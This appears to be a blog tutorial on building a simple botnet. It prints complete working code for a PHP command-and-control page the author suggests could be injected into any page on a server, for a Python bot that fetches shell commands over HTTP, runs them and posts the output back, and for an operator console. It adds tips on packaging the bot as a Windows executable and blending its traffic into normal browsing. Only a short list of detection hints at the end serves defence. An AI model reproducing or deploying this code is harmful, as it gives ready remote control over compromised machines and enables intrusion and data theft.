Remember that this is a poor man's botnet and may not simulate some of the more sophisticated botnet's that currently are in operation. There are security vulnerabilities in the code, do not use this in a production environment.
To begin there are multiple components to a botnet the first one I will start with is what is called a command and control server or often called a "C&C". This is a server that is setup by the bot herder, or the person who is taking care of the botnet. The term herder comes from the infected computers or the bots following him around. The C&C server can also be a server that was compromised and being used for this activity. All of the code found on this post can be downloaded from my google drive at the following link.
The server I setup was running apache, php5, and mysql. In the code I am referencing the server by IP Address, but this could easily be done by referencing a DNS name. The following snippet contains the SQL to create the mysql database:
create database command;
use database command;
CREATE TABLE `botInfo` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`machineID` varchar(40) DEFAULT NULL,
`osType` varchar(20) DEFAULT NULL,
`httpCommand` varchar(250) DEFAULT NULL,
`httpResults` mediumblob,
`executed` varchar(1) DEFAULT 'N',
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=9 DEFAULT CHARSET=latin1;
The following code is the PHP that is placed as a webpage on the apache server. In the code I reference the page as index.php, but this could be injected into any page on the server or created under a directory as any filename imaginable. In the below php code I have removed the opening and closing tags of <?php and ?> respectively.
$mysqli = new mysqli("localhost","wordpress","supersecurepassword","command");
if ($mysqli->connect_error) {
die("Connect error $mysqli->connect_error");
}
if (isset($_GET["func"])) {
$callingFunction=$_GET['func'];
if (isset($_GET["osName"])) $osName=$_GET['osName'];
$machineID=$_GET['machineID'];
if ($callingFunction == 'sync') {
$stmt = $mysqli->stmt_init();
$sqlFunc="SELECT id as Total FROM botInfo WHERE machineID=?";
if ($stmt->prepare($sqlFunc)) {
$stmt->bind_param("s", $machineID);
$stmt->execute();
$stmt->store_result();
$rowCount = $stmt->num_rows;
}
if ($rowCount == 0) {
if ($osName == 'nt') $httpCommand=base64_encode('dir');
if ($osName == 'posix') $httpCommand=base64_encode('ls');
$stmt = $mysqli->stmt_init();
$sqlInsert="INSERT INTO botInfo (machineID, osType, httpCommand, executed) VALUES (?, ?, ?, 'N')";
if ($stmt->prepare($sqlInsert)) {
$stmt->bind_param("sss", $machineID, $osName, $httpCommand);
$stmt->execute();
}
}
}
if ($callingFunction == 'do') {
$stmt = $mysqli->stmt_init();
$sqlFunc="SELECT httpCommand FROM botInfo WHERE machineID=? AND executed='N'";
if ($stmt->prepare($sqlFunc)) {
$stmt->bind_param("s", $machineID);
$stmt->execute();
$stmt->store_result();
$rowCount = $stmt->num_rows;
$stmt->bind_result($httpCommand);
if ($rowCount > 0) {
while ($stmt->fetch()) {
echo "$httpCommand";
}
}
else {
echo base64_encode("NOTHING");
}
}
}
}
else if (isset($_POST["machineID"])) {
$machineID = $_POST['machineID'];
$httpCommand = $_POST['command'];
$httpResults = $_POST['output'];
$stmt = $mysqli->stmt_init();
$sqlUpdate="UPDATE botInfo SET httpResults=?, executed='Y' WHERE machineID=? AND httpCommand=?";
if ($stmt->prepare($sqlUpdate)) {
$stmt->bind_param("sss", $httpResults, $machineID, $httpCommand);
$stmt->execute();
}
}
Now that you have the server setup and ready, you need to connect a bot. A bot is simply an infected computer or a compromised computer. In this case it was a virtual machine I was running. The below python code is designed to communicate to the C&C server and let it know it exists, ask for commands to execute, and then return the results.
Observe that the bot is requesting a web page which then returns the actions the bot should take. This sometimes can be difficult to detect if you have over 50 users using an internet connection and they are frequently browsing the web.
The python code can also be made into a windows executable with utilizing a tool like pyinstaller.
#!/usr/bin/python
import sys
import requests
import socket
import os
import hashlib
import struct
import time
import subprocess
import base64
sleepTime=10 # The amount of seconds to sleep between web requests
# http://stackoverflow.com/questions/11735821/python-get-localhost-ip
if os.name != "nt":
import fcntl
def get_interface_ip(ifname):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
return socket.inet_ntoa(fcntl.ioctl(s.fileno(), 0x8915, struct.pack('256s', ifname[:15]))[20:24])
def getMachineID():
ip = socket.gethostbyname(socket.gethostname())
hostName = socket.gethostbyname(socket.gethostname())
if ip.startswith("127.") and os.name != "nt":
interfaces = [
"eth0",
"eth1",
"eth2",
"wlan0",
"wlan1",
"wifi0",
"ath0",
"ath1",
"ppp0",
]
for ifname in interfaces:
try:
ip = get_interface_ip(ifname)
break
except IOError:
pass
# Hash IP
uniqID = ip + hostName
hashedIP = hashlib.sha1(uniqID).hexdigest()
return hashedIP
def syncRequest(mID, osN, wAddr):
# http://stackoverflow.com/questions/645312/what-is-the-quickest-way-to-http-get-in-python
url = wAddr + "?func=sync&machineID=" + mID + "&osName=" + osN
r = requests.get(url)
#print url
#print r.content
return r.status_code
def doRequest(mID, wAddr):
url = wAddr + "?func=do&machineID=" + mID
headers = {'Accept-encoding':'gzip'}
r = requests.get(url, headers=headers)
commandReturned = r.content.lstrip()
commandReturned = base64.b64decode(commandReturned.rstrip())
print commandReturned
return commandReturned
def executeCommand(com):
comExec = subprocess.Popen(str(com), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
STDOUT, STDERR = comExec.communicate()
if STDOUT:
encodedOutput = base64.b64encode(STDOUT)
else:
encodedOutput = base64.b64encode("Invalid Command...")
return encodedOutput
def postOutput(mID, comExec, outputC, wAddr):
url = wAddr
r = requests.post(url, data={'machineID':mID, 'command':comExec, 'output':outputC})
return str(r.status_code) + " " + r.content
# -------------------- Main ---------------
def main():
#websiteAddr="http://192.168.242.1/index.php" # This is the address and page that it calls back to
if len(sys.argv) == 2:
websiteAddr = sys.argv[1]
#print websiteAddr
machineID = getMachineID() # Gathers the hostname and the IP Address and returns it as the machine ID
osName = os.name
statusCode = syncRequest(machineID, osName, websiteAddr) # Sends an initial request to the database of the machine ID - Allows db to create entry if it does not exist
while True:
time.sleep(sleepTime)
if (statusCode == 200):
command = doRequest(machineID, websiteAddr)
if command == "NOTHING":
continue
else:
outputCommand = executeCommand(command)
encodedCommand = base64.b64encode(command)
uploadStatus = postOutput(machineID, encodedCommand, outputCommand, websiteAddr)
#print uploadStatus.strip()
else:
print "Usage: ./script.py \"http://www.yourremoteserver.com/index.php\""
print "The URL above has to be the location of where you placed your PHP"
if __name__ == "__main__":
main()
The last component is the ability for the bot herder to control the botnet, see the results of commands that were executed, and then issue additional commands to the bots. This component was also coded in python. Though I am running the code on the same computer as the web server, this could be done from a remote location which is normally the case.
#!/usr/bin/python
import MySQLdb
import sys
import base64
db = MySQLdb.connect(host="127.0.0.1", user="wordpress", passwd="supersecurepassword", db="command")
cursor = db.cursor()
def sendCommand(mID, osT):
print
print "Send the following command to machineID: " + mID
selection = raw_input("$ ")
encodedSelection = base64.b64encode(selection)
if len(selection) > 1:
sql = "INSERT INTO botInfo (machineID, osType, httpCommand, executed) VALUES ('" + mID + "','" + osT + "','" + encodedSelection + "','N')"
cursor.execute(sql)
db.commit()
main()
def controlBot(botID):
while True:
sql = "SELECT machineID, osType, httpCommand, httpResults, executed FROM botInfo WHERE id=" + botID
cursor.execute(sql)
db.commit()
if (cursor.rowcount > 0):
for row in cursor.fetchall():
id = botID
machineID = row[0]
osType = row[1]
httpCommand = base64.b64decode(row[2])
encodedResults = row[3]
if encodedResults:
httpResults = base64.b64decode(encodedResults)
else:
httpResults = "Pending..."
executed = row[3]
print
print "BotID: " + id + " MachineID: " + machineID
print "Command: " + httpCommand
print
print "Results:"
print httpResults
print
print "I. Issue Command to Bot"
print "R. Refresh"
print "Q. Return to Main"
selection = raw_input(id+"$ ")
if (selection == 'I') | (selection == 'i'):
sendCommand(machineID, osType)
elif (selection == 'Q') | (selection == 'q'):
main()
else:
continue
else:
print "Invalid numerical selection."
break
def main():
while True:
print
print "Select the number preceding the botID or the following options:"
sql = "SELECT id, machineID, httpCommand, executed FROM botInfo"
cursor.execute(sql)
db.commit()
if (cursor.rowcount > 0):
for row in cursor.fetchall():
id = row[0]
machineID = row[1]
httpCommand = base64.b64decode(row[2])
executed = row[3]
if executed == 'Y':
httpResultsExist="Y"
else:
httpResultsExist="N"
print str(id) + ". BotID:" + machineID + " C:" + httpCommand + " R:" + httpResultsExist
print
print "R. Refresh"
print "Q. Quit"
selection = raw_input("$ ")
if (selection == 'Q') | (selection == 'q'):
sys.exit(0)
elif (selection == 'R') | (selection == 'r'):
continue
else:
controlBot(selection)
if __name__ == "__main__":
main()
After you have put in-place all of these components, you can use tshark and other tools to identify this activity. A few hints on detection:
1. Evaluate the user agent header
2. Evaluate the reputation of the URL or destination IP Address
3. Evaluate the URL that is being visited
4. Look at the GET and POST requests that are made and the responses received
5. Whitelist executables on computers
6. Monitor logs of the web servers to detect tampering of files
7. Monitor logs of workstations to detect interesting activity
and more and more and more...
Please provide any feedback that you may have. If the code is broken let me know. Sometimes placing it into blogger it makes subtle changes to it and I may not have noticed it.
No comments:
Post a Comment